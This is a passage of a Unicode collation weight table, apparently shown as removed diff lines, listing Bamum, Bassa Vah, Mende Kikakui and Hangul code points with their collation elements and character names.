-169CE ; [.3910.0020.0002] # BAMUM LETTER PHASE-E NTAP
-169CF ; [.3911.0020.0002] # BAMUM LETTER PHASE-E YEUAET
-169D0 ; [.3912.0020.0002] # BAMUM LETTER PHASE-E NGGUP
-169D1 ; [.3913.0020.0002] # BAMUM LETTER PHASE-E PA PEOPLE
-169D2 ; [.3914.0020.0002] # BAMUM LETTER PHASE-E FU CALL
-169D3 ; [.3915.0020.0002] # BAMUM LETTER PHASE-E FOM
-169D4 ; [.3916.0020.0002] # BAMUM LETTER PHASE-E NJEE
-169D5 ; [.3917.0020.0002] # BAMUM LETTER PHASE-E A
-169D6 ; [.3918.0020.0002] # BAMUM LETTER PHASE-E TOQ
-169D7 ; [.3919.0020.0002] # BAMUM LETTER PHASE-E O
-169D8 ; [.391A.0020.0002] # BAMUM LETTER PHASE-E I
-169D9 ; [.391B.0020.0002] # BAMUM LETTER PHASE-E LAQ
-169DA ; [.391C.0020.0002] # BAMUM LETTER PHASE-E PA PLURAL
-169DB ; [.391D.0020.0002] # BAMUM LETTER PHASE-E TAA
-169DC ; [.391E.0020.0002] # BAMUM LETTER PHASE-E TAQ
-169DD ; [.391F.0020.0002] # BAMUM LETTER PHASE-E NDAA MY HOUSE
-169DE ; [.3920.0020.0002] # BAMUM LETTER PHASE-E SHIQ
-169DF ; [.3921.0020.0002] # BAMUM LETTER PHASE-E YEUX
-169E0 ; [.3922.0020.0002] # BAMUM LETTER PHASE-E NGUAE
-169E1 ; [.3923.0020.0002] # BAMUM LETTER PHASE-E YUAEN
-169E2 ; [.3924.0020.0002] # BAMUM LETTER PHASE-E YOQ SWIMMING
-169E3 ; [.3925.0020.0002] # BAMUM LETTER PHASE-E YOQ COVER
-169E4 ; [.3926.0020.0002] # BAMUM LETTER PHASE-E YUQ
-169E5 ; [.3927.0020.0002] # BAMUM LETTER PHASE-E YUN
-169E6 ; [.3928.0020.0002] # BAMUM LETTER PHASE-E KEUX
-169E7 ; [.3929.0020.0002] # BAMUM LETTER PHASE-E PEUX
-169E8 ; [.392A.0020.0002] # BAMUM LETTER PHASE-E NJEE EPOCH
-169E9 ; [.392B.0020.0002] # BAMUM LETTER PHASE-E PUE
-169EA ; [.392C.0020.0002] # BAMUM LETTER PHASE-E WUE
-169EB ; [.392D.0020.0002] # BAMUM LETTER PHASE-E FEE
-169EC ; [.392E.0020.0002] # BAMUM LETTER PHASE-E VEE
-169ED ; [.392F.0020.0002] # BAMUM LETTER PHASE-E LU
-169EE ; [.3930.0020.0002] # BAMUM LETTER PHASE-E MI
-169EF ; [.3931.0020.0002] # BAMUM LETTER PHASE-E REUX
-169F0 ; [.3932.0020.0002] # BAMUM LETTER PHASE-E RAE
-169F1 ; [.3933.0020.0002] # BAMUM LETTER PHASE-E NGUAET
-169F2 ; [.3934.0020.0002] # BAMUM LETTER PHASE-E NGA
-169F3 ; [.3935.0020.0002] # BAMUM LETTER PHASE-E SHO
-169F4 ; [.3936.0020.0002] # BAMUM LETTER PHASE-E SHOQ
-169F5 ; [.3937.0020.0002] # BAMUM LETTER PHASE-E FU REMEDY
-169F6 ; [.3938.0020.0002] # BAMUM LETTER PHASE-E NA
-169F7 ; [.3939.0020.0002] # BAMUM LETTER PHASE-E PI
-169F8 ; [.393A.0020.0002] # BAMUM LETTER PHASE-E LOQ
-169F9 ; [.393B.0020.0002] # BAMUM LETTER PHASE-E KO
-169FA ; [.393C.0020.0002] # BAMUM LETTER PHASE-E MEN
-169FB ; [.393D.0020.0002] # BAMUM LETTER PHASE-E MA
-169FC ; [.393E.0020.0002] # BAMUM LETTER PHASE-E MAQ
-169FD ; [.393F.0020.0002] # BAMUM LETTER PHASE-E TEU
-169FE ; [.3940.0020.0002] # BAMUM LETTER PHASE-E KI
-169FF ; [.3941.0020.0002] # BAMUM LETTER PHASE-E MON
-16A00 ; [.3942.0020.0002] # BAMUM LETTER PHASE-E TEN
-16A01 ; [.3943.0020.0002] # BAMUM LETTER PHASE-E FAQ
-16A02 ; [.3944.0020.0002] # BAMUM LETTER PHASE-E GHOM
-16A03 ; [.3945.0020.0002] # BAMUM LETTER PHASE-F KA
-16A04 ; [.3946.0020.0002] # BAMUM LETTER PHASE-F U
-16A05 ; [.3947.0020.0002] # BAMUM LETTER PHASE-F KU
-16A06 ; [.3948.0020.0002] # BAMUM LETTER PHASE-F EE
-16A07 ; [.3949.0020.0002] # BAMUM LETTER PHASE-F REE
-16A08 ; [.394A.0020.0002] # BAMUM LETTER PHASE-F TAE
-16A09 ; [.394B.0020.0002] # BAMUM LETTER PHASE-F NYI
-16A0A ; [.394C.0020.0002] # BAMUM LETTER PHASE-F LA
-16A0B ; [.394D.0020.0002] # BAMUM LETTER PHASE-F RII
-16A0C ; [.394E.0020.0002] # BAMUM LETTER PHASE-F RIEE
-16A0D ; [.394F.0020.0002] # BAMUM LETTER PHASE-F MEEEE
-16A0E ; [.3950.0020.0002] # BAMUM LETTER PHASE-F TAA
-16A0F ; [.3951.0020.0002] # BAMUM LETTER PHASE-F NDAA
-16A10 ; [.3952.0020.0002] # BAMUM LETTER PHASE-F NJAEM
-16A11 ; [.3953.0020.0002] # BAMUM LETTER PHASE-F M
-16A12 ; [.3954.0020.0002] # BAMUM LETTER PHASE-F SUU
-16A13 ; [.3955.0020.0002] # BAMUM LETTER PHASE-F SHII
-16A14 ; [.3956.0020.0002] # BAMUM LETTER PHASE-F SI
-16A15 ; [.3957.0020.0002] # BAMUM LETTER PHASE-F SEUX
-16A16 ; [.3958.0020.0002] # BAMUM LETTER PHASE-F KYEE
-16A17 ; [.3959.0020.0002] # BAMUM LETTER PHASE-F KET
-16A18 ; [.395A.0020.0002] # BAMUM LETTER PHASE-F NUAE
-16A19 ; [.395B.0020.0002] # BAMUM LETTER PHASE-F NU
-16A1A ; [.395C.0020.0002] # BAMUM LETTER PHASE-F NJUAE
-16A1B ; [.395D.0020.0002] # BAMUM LETTER PHASE-F YOQ
-16A1C ; [.395E.0020.0002] # BAMUM LETTER PHASE-F SHU
-16A1D ; [.395F.0020.0002] # BAMUM LETTER PHASE-F YA
-16A1E ; [.3960.0020.0002] # BAMUM LETTER PHASE-F NSHA
-16A1F ; [.3961.0020.0002] # BAMUM LETTER PHASE-F PEUX
-16A20 ; [.3962.0020.0002] # BAMUM LETTER PHASE-F NTEE
-16A21 ; [.3963.0020.0002] # BAMUM LETTER PHASE-F WUE
-16A22 ; [.3964.0020.0002] # BAMUM LETTER PHASE-F PEE
-16A23 ; [.3965.0020.0002] # BAMUM LETTER PHASE-F RU
-16A24 ; [.3966.0020.0002] # BAMUM LETTER PHASE-F NI
-16A25 ; [.3967.0020.0002] # BAMUM LETTER PHASE-F REUX
-16A26 ; [.3968.0020.0002] # BAMUM LETTER PHASE-F KEN
-16A27 ; [.3969.0020.0002] # BAMUM LETTER PHASE-F NGKWAEN
-16A28 ; [.396A.0020.0002] # BAMUM LETTER PHASE-F NGGA
-16A29 ; [.396B.0020.0002] # BAMUM LETTER PHASE-F SHO
-16A2A ; [.396C.0020.0002] # BAMUM LETTER PHASE-F PUAE
-16A2B ; [.396D.0020.0002] # BAMUM LETTER PHASE-F FOM
-16A2C ; [.396E.0020.0002] # BAMUM LETTER PHASE-F WA
-16A2D ; [.396F.0020.0002] # BAMUM LETTER PHASE-F LI
-16A2E ; [.3970.0020.0002] # BAMUM LETTER PHASE-F LOQ
-16A2F ; [.3971.0020.0002] # BAMUM LETTER PHASE-F KO
-16A30 ; [.3972.0020.0002] # BAMUM LETTER PHASE-F MBEN
-16A31 ; [.3973.0020.0002] # BAMUM LETTER PHASE-F REN
-16A32 ; [.3974.0020.0002] # BAMUM LETTER PHASE-F MA
-16A33 ; [.3975.0020.0002] # BAMUM LETTER PHASE-F MO
-16A34 ; [.3976.0020.0002] # BAMUM LETTER PHASE-F MBAA
-16A35 ; [.3977.0020.0002] # BAMUM LETTER PHASE-F TET
-16A36 ; [.3978.0020.0002] # BAMUM LETTER PHASE-F KPA
-16A37 ; [.3979.0020.0002] # BAMUM LETTER PHASE-F SAMBA
-16A38 ; [.397A.0020.0002] # BAMUM LETTER PHASE-F VUEQ
-16AD0 ; [.397B.0020.0002] # BASSA VAH LETTER ENNI
-16AD1 ; [.397C.0020.0002] # BASSA VAH LETTER KA
-16AD2 ; [.397D.0020.0002] # BASSA VAH LETTER SE
-16AD3 ; [.397E.0020.0002] # BASSA VAH LETTER FA
-16AD4 ; [.397F.0020.0002] # BASSA VAH LETTER MBE
-16AD5 ; [.3980.0020.0002] # BASSA VAH LETTER YIE
-16AD6 ; [.3981.0020.0002] # BASSA VAH LETTER GAH
-16AD7 ; [.3982.0020.0002] # BASSA VAH LETTER DHII
-16AD8 ; [.3983.0020.0002] # BASSA VAH LETTER KPAH
-16AD9 ; [.3984.0020.0002] # BASSA VAH LETTER JO
-16ADA ; [.3985.0020.0002] # BASSA VAH LETTER HWAH
-16ADB ; [.3986.0020.0002] # BASSA VAH LETTER WA
-16ADC ; [.3987.0020.0002] # BASSA VAH LETTER ZO
-16ADD ; [.3988.0020.0002] # BASSA VAH LETTER GBU
-16ADE ; [.3989.0020.0002] # BASSA VAH LETTER DO
-16ADF ; [.398A.0020.0002] # BASSA VAH LETTER CE
-16AE0 ; [.398B.0020.0002] # BASSA VAH LETTER UWU
-16AE1 ; [.398C.0020.0002] # BASSA VAH LETTER TO
-16AE2 ; [.398D.0020.0002] # BASSA VAH LETTER BA
-16AE3 ; [.398E.0020.0002] # BASSA VAH LETTER VU
-16AE4 ; [.398F.0020.0002] # BASSA VAH LETTER YEIN
-16AE5 ; [.3990.0020.0002] # BASSA VAH LETTER PA
-16AE6 ; [.3991.0020.0002] # BASSA VAH LETTER WADDA
-16AE7 ; [.3992.0020.0002] # BASSA VAH LETTER A
-16AE8 ; [.3993.0020.0002] # BASSA VAH LETTER O
-16AE9 ; [.3994.0020.0002] # BASSA VAH LETTER OO
-16AEA ; [.3995.0020.0002] # BASSA VAH LETTER U
-16AEB ; [.3996.0020.0002] # BASSA VAH LETTER EE
-16AEC ; [.3997.0020.0002] # BASSA VAH LETTER E
-16AED ; [.3998.0020.0002] # BASSA VAH LETTER I
-1E800 ; [.3999.0020.0002] # MENDE KIKAKUI SYLLABLE M001 KI
-1E801 ; [.399A.0020.0002] # MENDE KIKAKUI SYLLABLE M002 KA
-1E802 ; [.399B.0020.0002] # MENDE KIKAKUI SYLLABLE M003 KU
-1E803 ; [.399C.0020.0002] # MENDE KIKAKUI SYLLABLE M065 KEE
-1E804 ; [.399D.0020.0002] # MENDE KIKAKUI SYLLABLE M095 KE
-1E805 ; [.399E.0020.0002] # MENDE KIKAKUI SYLLABLE M076 KOO
-1E806 ; [.399F.0020.0002] # MENDE KIKAKUI SYLLABLE M048 KO
-1E807 ; [.39A0.0020.0002] # MENDE KIKAKUI SYLLABLE M179 KUA
-1E808 ; [.39A1.0020.0002] # MENDE KIKAKUI SYLLABLE M004 WI
-1E809 ; [.39A2.0020.0002] # MENDE KIKAKUI SYLLABLE M005 WA
-1E80A ; [.39A3.0020.0002] # MENDE KIKAKUI SYLLABLE M006 WU
-1E80B ; [.39A4.0020.0002] # MENDE KIKAKUI SYLLABLE M126 WEE
-1E80C ; [.39A5.0020.0002] # MENDE KIKAKUI SYLLABLE M118 WE
-1E80D ; [.39A6.0020.0002] # MENDE KIKAKUI SYLLABLE M114 WOO
-1E80E ; [.39A7.0020.0002] # MENDE KIKAKUI SYLLABLE M045 WO
-1E80F ; [.39A8.0020.0002] # MENDE KIKAKUI SYLLABLE M194 WUI
-1E810 ; [.39A9.0020.0002] # MENDE KIKAKUI SYLLABLE M143 WEI
-1E811 ; [.39AA.0020.0002] # MENDE KIKAKUI SYLLABLE M061 WVI
-1E812 ; [.39AB.0020.0002] # MENDE KIKAKUI SYLLABLE M049 WVA
-1E813 ; [.39AC.0020.0002] # MENDE KIKAKUI SYLLABLE M139 WVE
-1E814 ; [.39AD.0020.0002] # MENDE KIKAKUI SYLLABLE M007 MIN
-1E815 ; [.39AE.0020.0002] # MENDE KIKAKUI SYLLABLE M008 MAN
-1E816 ; [.39AF.0020.0002] # MENDE KIKAKUI SYLLABLE M009 MUN
-1E817 ; [.39B0.0020.0002] # MENDE KIKAKUI SYLLABLE M059 MEN
-1E818 ; [.39B1.0020.0002] # MENDE KIKAKUI SYLLABLE M094 MON
-1E819 ; [.39B2.0020.0002] # MENDE KIKAKUI SYLLABLE M154 MUAN
-1E81A ; [.39B3.0020.0002] # MENDE KIKAKUI SYLLABLE M189 MUEN
-1E81B ; [.39B4.0020.0002] # MENDE KIKAKUI SYLLABLE M010 BI
-1E81C ; [.39B5.0020.0002] # MENDE KIKAKUI SYLLABLE M011 BA
-1E81D ; [.39B6.0020.0002] # MENDE KIKAKUI SYLLABLE M012 BU
-1E81E ; [.39B7.0020.0002] # MENDE KIKAKUI SYLLABLE M150 BEE
-1E81F ; [.39B8.0020.0002] # MENDE KIKAKUI SYLLABLE M097 BE
-1E820 ; [.39B9.0020.0002] # MENDE KIKAKUI SYLLABLE M103 BOO
-1E821 ; [.39BA.0020.0002] # MENDE KIKAKUI SYLLABLE M138 BO
-1E822 ; [.39BB.0020.0002] # MENDE KIKAKUI SYLLABLE M013 I
-1E823 ; [.39BC.0020.0002] # MENDE KIKAKUI SYLLABLE M014 A
-1E824 ; [.39BD.0020.0002] # MENDE KIKAKUI SYLLABLE M015 U
-1E825 ; [.39BE.0020.0002] # MENDE KIKAKUI SYLLABLE M163 EE
-1E826 ; [.39BF.0020.0002] # MENDE KIKAKUI SYLLABLE M100 E
-1E827 ; [.39C0.0020.0002] # MENDE KIKAKUI SYLLABLE M165 OO
-1E828 ; [.39C1.0020.0002] # MENDE KIKAKUI SYLLABLE M147 O
-1E829 ; [.39C2.0020.0002] # MENDE KIKAKUI SYLLABLE M137 EI
-1E82A ; [.39C3.0020.0002] # MENDE KIKAKUI SYLLABLE M131 IN
-1E82B ; [.39C4.0020.0002] # MENDE KIKAKUI SYLLABLE M135 IN
-1E82C ; [.39C5.0020.0002] # MENDE KIKAKUI SYLLABLE M195 AN
-1E82D ; [.39C6.0020.0002] # MENDE KIKAKUI SYLLABLE M178 EN
-1E82E ; [.39C7.0020.0002] # MENDE KIKAKUI SYLLABLE M019 SI
-1E82F ; [.39C8.0020.0002] # MENDE KIKAKUI SYLLABLE M020 SA
-1E830 ; [.39C9.0020.0002] # MENDE KIKAKUI SYLLABLE M021 SU
-1E831 ; [.39CA.0020.0002] # MENDE KIKAKUI SYLLABLE M162 SEE
-1E832 ; [.39CB.0020.0002] # MENDE KIKAKUI SYLLABLE M116 SE
-1E833 ; [.39CC.0020.0002] # MENDE KIKAKUI SYLLABLE M136 SOO
-1E834 ; [.39CD.0020.0002] # MENDE KIKAKUI SYLLABLE M079 SO
-1E835 ; [.39CE.0020.0002] # MENDE KIKAKUI SYLLABLE M196 SIA
-1E836 ; [.39CF.0020.0002] # MENDE KIKAKUI SYLLABLE M025 LI
-1E837 ; [.39D0.0020.0002] # MENDE KIKAKUI SYLLABLE M026 LA
-1E838 ; [.39D1.0020.0002] # MENDE KIKAKUI SYLLABLE M027 LU
-1E839 ; [.39D2.0020.0002] # MENDE KIKAKUI SYLLABLE M084 LEE
-1E83A ; [.39D3.0020.0002] # MENDE KIKAKUI SYLLABLE M073 LE
-1E83B ; [.39D4.0020.0002] # MENDE KIKAKUI SYLLABLE M054 LOO
-1E83C ; [.39D5.0020.0002] # MENDE KIKAKUI SYLLABLE M153 LO
-1E83D ; [.39D6.0020.0002] # MENDE KIKAKUI SYLLABLE M110 LONG LE
-1E83E ; [.39D7.0020.0002] # MENDE KIKAKUI SYLLABLE M016 DI
-1E83F ; [.39D8.0020.0002] # MENDE KIKAKUI SYLLABLE M017 DA
-1E840 ; [.39D9.0020.0002] # MENDE KIKAKUI SYLLABLE M018 DU
-1E841 ; [.39DA.0020.0002] # MENDE KIKAKUI SYLLABLE M089 DEE
-1E842 ; [.39DB.0020.0002] # MENDE KIKAKUI SYLLABLE M180 DOO
-1E843 ; [.39DC.0020.0002] # MENDE KIKAKUI SYLLABLE M181 DO
-1E844 ; [.39DD.0020.0002] # MENDE KIKAKUI SYLLABLE M022 TI
-1E845 ; [.39DE.0020.0002] # MENDE KIKAKUI SYLLABLE M023 TA
-1E846 ; [.39DF.0020.0002] # MENDE KIKAKUI SYLLABLE M024 TU
-1E847 ; [.39E0.0020.0002] # MENDE KIKAKUI SYLLABLE M091 TEE
-1E848 ; [.39E1.0020.0002] # MENDE KIKAKUI SYLLABLE M055 TE
-1E849 ; [.39E2.0020.0002] # MENDE KIKAKUI SYLLABLE M104 TOO
-1E84A ; [.39E3.0020.0002] # MENDE KIKAKUI SYLLABLE M069 TO
-1E84B ; [.39E4.0020.0002] # MENDE KIKAKUI SYLLABLE M028 JI
-1E84C ; [.39E5.0020.0002] # MENDE KIKAKUI SYLLABLE M029 JA
-1E84D ; [.39E6.0020.0002] # MENDE KIKAKUI SYLLABLE M030 JU
-1E84E ; [.39E7.0020.0002] # MENDE KIKAKUI SYLLABLE M157 JEE
-1E84F ; [.39E8.0020.0002] # MENDE KIKAKUI SYLLABLE M113 JE
-1E850 ; [.39E9.0020.0002] # MENDE KIKAKUI SYLLABLE M160 JOO
-1E851 ; [.39EA.0020.0002] # MENDE KIKAKUI SYLLABLE M063 JO
-1E852 ; [.39EB.0020.0002] # MENDE KIKAKUI SYLLABLE M175 LONG JO
-1E853 ; [.39EC.0020.0002] # MENDE KIKAKUI SYLLABLE M031 YI
-1E854 ; [.39ED.0020.0002] # MENDE KIKAKUI SYLLABLE M032 YA
-1E855 ; [.39EE.0020.0002] # MENDE KIKAKUI SYLLABLE M033 YU
-1E856 ; [.39EF.0020.0002] # MENDE KIKAKUI SYLLABLE M109 YEE
-1E857 ; [.39F0.0020.0002] # MENDE KIKAKUI SYLLABLE M080 YE
-1E858 ; [.39F1.0020.0002] # MENDE KIKAKUI SYLLABLE M141 YOO
-1E859 ; [.39F2.0020.0002] # MENDE KIKAKUI SYLLABLE M121 YO
-1E85A ; [.39F3.0020.0002] # MENDE KIKAKUI SYLLABLE M034 FI
-1E85B ; [.39F4.0020.0002] # MENDE KIKAKUI SYLLABLE M035 FA
-1E85C ; [.39F5.0020.0002] # MENDE KIKAKUI SYLLABLE M036 FU
-1E85D ; [.39F6.0020.0002] # MENDE KIKAKUI SYLLABLE M078 FEE
-1E85E ; [.39F7.0020.0002] # MENDE KIKAKUI SYLLABLE M075 FE
-1E85F ; [.39F8.0020.0002] # MENDE KIKAKUI SYLLABLE M133 FOO
-1E860 ; [.39F9.0020.0002] # MENDE KIKAKUI SYLLABLE M088 FO
-1E861 ; [.39FA.0020.0002] # MENDE KIKAKUI SYLLABLE M197 FUA
-1E862 ; [.39FB.0020.0002] # MENDE KIKAKUI SYLLABLE M101 FAN
-1E863 ; [.39FC.0020.0002] # MENDE KIKAKUI SYLLABLE M037 NIN
-1E864 ; [.39FD.0020.0002] # MENDE KIKAKUI SYLLABLE M038 NAN
-1E865 ; [.39FE.0020.0002] # MENDE KIKAKUI SYLLABLE M039 NUN
-1E866 ; [.39FF.0020.0002] # MENDE KIKAKUI SYLLABLE M117 NEN
-1E867 ; [.3A00.0020.0002] # MENDE KIKAKUI SYLLABLE M169 NON
-1E868 ; [.3A01.0020.0002] # MENDE KIKAKUI SYLLABLE M176 HI
-1E869 ; [.3A02.0020.0002] # MENDE KIKAKUI SYLLABLE M041 HA
-1E86A ; [.3A03.0020.0002] # MENDE KIKAKUI SYLLABLE M186 HU
-1E86B ; [.3A04.0020.0002] # MENDE KIKAKUI SYLLABLE M040 HEE
-1E86C ; [.3A05.0020.0002] # MENDE KIKAKUI SYLLABLE M096 HE
-1E86D ; [.3A06.0020.0002] # MENDE KIKAKUI SYLLABLE M042 HOO
-1E86E ; [.3A07.0020.0002] # MENDE KIKAKUI SYLLABLE M140 HO
-1E86F ; [.3A08.0020.0002] # MENDE KIKAKUI SYLLABLE M083 HEEI
-1E870 ; [.3A09.0020.0002] # MENDE KIKAKUI SYLLABLE M128 HOOU
-1E871 ; [.3A0A.0020.0002] # MENDE KIKAKUI SYLLABLE M053 HIN
-1E872 ; [.3A0B.0020.0002] # MENDE KIKAKUI SYLLABLE M130 HAN
-1E873 ; [.3A0C.0020.0002] # MENDE KIKAKUI SYLLABLE M087 HUN
-1E874 ; [.3A0D.0020.0002] # MENDE KIKAKUI SYLLABLE M052 HEN
-1E875 ; [.3A0E.0020.0002] # MENDE KIKAKUI SYLLABLE M193 HON
-1E876 ; [.3A0F.0020.0002] # MENDE KIKAKUI SYLLABLE M046 HUAN
-1E877 ; [.3A10.0020.0002] # MENDE KIKAKUI SYLLABLE M090 NGGI
-1E878 ; [.3A11.0020.0002] # MENDE KIKAKUI SYLLABLE M043 NGGA
-1E879 ; [.3A12.0020.0002] # MENDE KIKAKUI SYLLABLE M082 NGGU
-1E87A ; [.3A13.0020.0002] # MENDE KIKAKUI SYLLABLE M115 NGGEE
-1E87B ; [.3A14.0020.0002] # MENDE KIKAKUI SYLLABLE M146 NGGE
-1E87C ; [.3A15.0020.0002] # MENDE KIKAKUI SYLLABLE M156 NGGOO
-1E87D ; [.3A16.0020.0002] # MENDE KIKAKUI SYLLABLE M120 NGGO
-1E87E ; [.3A17.0020.0002] # MENDE KIKAKUI SYLLABLE M159 NGGAA
-1E87F ; [.3A18.0020.0002] # MENDE KIKAKUI SYLLABLE M127 NGGUA
-1E880 ; [.3A19.0020.0002] # MENDE KIKAKUI SYLLABLE M086 LONG NGGE
-1E881 ; [.3A1A.0020.0002] # MENDE KIKAKUI SYLLABLE M106 LONG NGGOO
-1E882 ; [.3A1B.0020.0002] # MENDE KIKAKUI SYLLABLE M183 LONG NGGO
-1E883 ; [.3A1C.0020.0002] # MENDE KIKAKUI SYLLABLE M155 GI
-1E884 ; [.3A1D.0020.0002] # MENDE KIKAKUI SYLLABLE M111 GA
-1E885 ; [.3A1E.0020.0002] # MENDE KIKAKUI SYLLABLE M168 GU
-1E886 ; [.3A1F.0020.0002] # MENDE KIKAKUI SYLLABLE M190 GEE
-1E887 ; [.3A20.0020.0002] # MENDE KIKAKUI SYLLABLE M166 GUEI
-1E888 ; [.3A21.0020.0002] # MENDE KIKAKUI SYLLABLE M167 GUAN
-1E889 ; [.3A22.0020.0002] # MENDE KIKAKUI SYLLABLE M184 NGEN
-1E88A ; [.3A23.0020.0002] # MENDE KIKAKUI SYLLABLE M057 NGON
-1E88B ; [.3A24.0020.0002] # MENDE KIKAKUI SYLLABLE M177 NGUAN
-1E88C ; [.3A25.0020.0002] # MENDE KIKAKUI SYLLABLE M068 PI
-1E88D ; [.3A26.0020.0002] # MENDE KIKAKUI SYLLABLE M099 PA
-1E88E ; [.3A27.0020.0002] # MENDE KIKAKUI SYLLABLE M050 PU
-1E88F ; [.3A28.0020.0002] # MENDE KIKAKUI SYLLABLE M081 PEE
-1E890 ; [.3A29.0020.0002] # MENDE KIKAKUI SYLLABLE M051 PE
-1E891 ; [.3A2A.0020.0002] # MENDE KIKAKUI SYLLABLE M102 POO
-1E892 ; [.3A2B.0020.0002] # MENDE KIKAKUI SYLLABLE M066 PO
-1E893 ; [.3A2C.0020.0002] # MENDE KIKAKUI SYLLABLE M145 MBI
-1E894 ; [.3A2D.0020.0002] # MENDE KIKAKUI SYLLABLE M062 MBA
-1E895 ; [.3A2E.0020.0002] # MENDE KIKAKUI SYLLABLE M122 MBU
-1E896 ; [.3A2F.0020.0002] # MENDE KIKAKUI SYLLABLE M047 MBEE
-1E897 ; [.3A30.0020.0002] # MENDE KIKAKUI SYLLABLE M188 MBEE
-1E898 ; [.3A31.0020.0002] # MENDE KIKAKUI SYLLABLE M072 MBE
-1E899 ; [.3A32.0020.0002] # MENDE KIKAKUI SYLLABLE M172 MBOO
-1E89A ; [.3A33.0020.0002] # MENDE KIKAKUI SYLLABLE M174 MBO
-1E89B ; [.3A34.0020.0002] # MENDE KIKAKUI SYLLABLE M187 MBUU
-1E89C ; [.3A35.0020.0002] # MENDE KIKAKUI SYLLABLE M161 LONG MBE
-1E89D ; [.3A36.0020.0002] # MENDE KIKAKUI SYLLABLE M105 LONG MBOO
-1E89E ; [.3A37.0020.0002] # MENDE KIKAKUI SYLLABLE M142 LONG MBO
-1E89F ; [.3A38.0020.0002] # MENDE KIKAKUI SYLLABLE M132 KPI
-1E8A0 ; [.3A39.0020.0002] # MENDE KIKAKUI SYLLABLE M092 KPA
-1E8A1 ; [.3A3A.0020.0002] # MENDE KIKAKUI SYLLABLE M074 KPU
-1E8A2 ; [.3A3B.0020.0002] # MENDE KIKAKUI SYLLABLE M044 KPEE
-1E8A3 ; [.3A3C.0020.0002] # MENDE KIKAKUI SYLLABLE M108 KPE
-1E8A4 ; [.3A3D.0020.0002] # MENDE KIKAKUI SYLLABLE M112 KPOO
-1E8A5 ; [.3A3E.0020.0002] # MENDE KIKAKUI SYLLABLE M158 KPO
-1E8A6 ; [.3A3F.0020.0002] # MENDE KIKAKUI SYLLABLE M124 GBI
-1E8A7 ; [.3A40.0020.0002] # MENDE KIKAKUI SYLLABLE M056 GBA
-1E8A8 ; [.3A41.0020.0002] # MENDE KIKAKUI SYLLABLE M148 GBU
-1E8A9 ; [.3A42.0020.0002] # MENDE KIKAKUI SYLLABLE M093 GBEE
-1E8AA ; [.3A43.0020.0002] # MENDE KIKAKUI SYLLABLE M107 GBE
-1E8AB ; [.3A44.0020.0002] # MENDE KIKAKUI SYLLABLE M071 GBOO
-1E8AC ; [.3A45.0020.0002] # MENDE KIKAKUI SYLLABLE M070 GBO
-1E8AD ; [.3A46.0020.0002] # MENDE KIKAKUI SYLLABLE M171 RA
-1E8AE ; [.3A47.0020.0002] # MENDE KIKAKUI SYLLABLE M123 NDI
-1E8AF ; [.3A48.0020.0002] # MENDE KIKAKUI SYLLABLE M129 NDA
-1E8B0 ; [.3A49.0020.0002] # MENDE KIKAKUI SYLLABLE M125 NDU
-1E8B1 ; [.3A4A.0020.0002] # MENDE KIKAKUI SYLLABLE M191 NDEE
-1E8B2 ; [.3A4B.0020.0002] # MENDE KIKAKUI SYLLABLE M119 NDE
-1E8B3 ; [.3A4C.0020.0002] # MENDE KIKAKUI SYLLABLE M067 NDOO
-1E8B4 ; [.3A4D.0020.0002] # MENDE KIKAKUI SYLLABLE M064 NDO
-1E8B5 ; [.3A4E.0020.0002] # MENDE KIKAKUI SYLLABLE M152 NJA
-1E8B6 ; [.3A4F.0020.0002] # MENDE KIKAKUI SYLLABLE M192 NJU
-1E8B7 ; [.3A50.0020.0002] # MENDE KIKAKUI SYLLABLE M149 NJEE
-1E8B8 ; [.3A51.0020.0002] # MENDE KIKAKUI SYLLABLE M134 NJOO
-1E8B9 ; [.3A52.0020.0002] # MENDE KIKAKUI SYLLABLE M182 VI
-1E8BA ; [.3A53.0020.0002] # MENDE KIKAKUI SYLLABLE M185 VA
-1E8BB ; [.3A54.0020.0002] # MENDE KIKAKUI SYLLABLE M151 VU
-1E8BC ; [.3A55.0020.0002] # MENDE KIKAKUI SYLLABLE M173 VEE
-1E8BD ; [.3A56.0020.0002] # MENDE KIKAKUI SYLLABLE M085 VE
-1E8BE ; [.3A57.0020.0002] # MENDE KIKAKUI SYLLABLE M144 VOO
-1E8BF ; [.3A58.0020.0002] # MENDE KIKAKUI SYLLABLE M077 VO
-1E8C0 ; [.3A59.0020.0002] # MENDE KIKAKUI SYLLABLE M164 NYIN
-1E8C1 ; [.3A5A.0020.0002] # MENDE KIKAKUI SYLLABLE M058 NYAN
-1E8C2 ; [.3A5B.0020.0002] # MENDE KIKAKUI SYLLABLE M170 NYUN
-1E8C3 ; [.3A5C.0020.0002] # MENDE KIKAKUI SYLLABLE M098 NYEN
-1E8C4 ; [.3A5D.0020.0002] # MENDE KIKAKUI SYLLABLE M060 NYON
-1100  ; [.3A5E.0020.0002] # HANGUL CHOSEONG KIYEOK
-3131  ; [.3A5E.0020.0004] # HANGUL LETTER KIYEOK
-3200  ; [*0310.0020.0004][.3A5E.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KIYEOK
-3260  ; [.3A5E.0020.0006] # CIRCLED HANGUL KIYEOK
-FFA1  ; [.3A5E.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK
-320E  ; [*0310.0020.0004][.3A5E.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL KIYEOK A
-326E  ; [.3A5E.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL KIYEOK A
-1101  ; [.3A5F.0020.0002] # HANGUL CHOSEONG SSANGKIYEOK
-3132  ; [.3A5F.0020.0004] # HANGUL LETTER SSANGKIYEOK
-FFA2  ; [.3A5F.0020.0012] # HALFWIDTH HANGUL LETTER SSANGKIYEOK
-1102  ; [.3A60.0020.0002] # HANGUL CHOSEONG NIEUN
-3134  ; [.3A60.0020.0004] # HANGUL LETTER NIEUN
-3201  ; [*0310.0020.0004][.3A60.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL NIEUN
-3261  ; [.3A60.0020.0006] # CIRCLED HANGUL NIEUN
-FFA4  ; [.3A60.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN
-320F  ; [*0310.0020.0004][.3A60.0020.0004][.3ADC.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL NIEUN A
-326F  ; [.3A60.0020.0006][.3ADC.0020.0006] # CIRCLED HANGUL NIEUN A
-1103  ; [.3A61.0020.0002] # HANGUL CHOSEONG TIKEUT
-3137  ; [.3A61.0020.0004] # HANGUL LETTER TIKEUT
-3202  ; [*0310.0020.0004][.3A61.0020.0004][*0311.0020.0004] # PARENTHESIZED HANGUL TIKEUT
